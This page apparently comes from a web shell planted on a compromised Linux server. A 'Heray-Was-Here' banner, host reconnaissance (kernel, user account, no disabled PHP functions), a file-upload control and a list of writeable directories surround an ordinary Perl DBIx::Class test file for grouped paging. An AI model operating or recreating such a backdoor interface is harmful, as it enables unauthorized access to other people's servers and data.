Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/usr/share/doc/perl-DBIx-Class/t/count/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/doc/perl-DBIx-Class/t/count/grouped_pager.t
use strict;
use warnings;

use Test::More;

use lib qw(t/lib);

use DBICTest;

plan tests => 7;

my $schema = DBICTest->init_schema();

# add 2 extra artists
$schema->populate ('Artist', [
    [qw/name/],
    [qw/ar_1/],
    [qw/ar_2/],
]);

# add 3 extra cds to every artist
for my $ar ($schema->resultset ('Artist')->all) {
  for my $cdnum (1 .. 3) {
    $ar->create_related ('cds', {
      title => "bogon $cdnum",
      year => 2000 + $cdnum,
    });
  }
}

my $cds = $schema->resultset ('CD')->search ({}, { group_by => 'artist' } );
is ($cds->count, 5, 'Resultset collapses to 5 groups');

my ($pg1, $pg2, $pg3) = map { $cds->search_rs ({}, {rows => 2, page => $_}) } (1..3);

for ($pg1, $pg2, $pg3) {
  is ($_->pager->total_entries, 5, 'Total count via pager correct');
}

is ($pg1->count, 2, 'First page has 2 groups');
is ($pg2->count, 2, 'Second page has 2 groups');
is ($pg3->count, 1, 'Third page has one group remaining');

Hry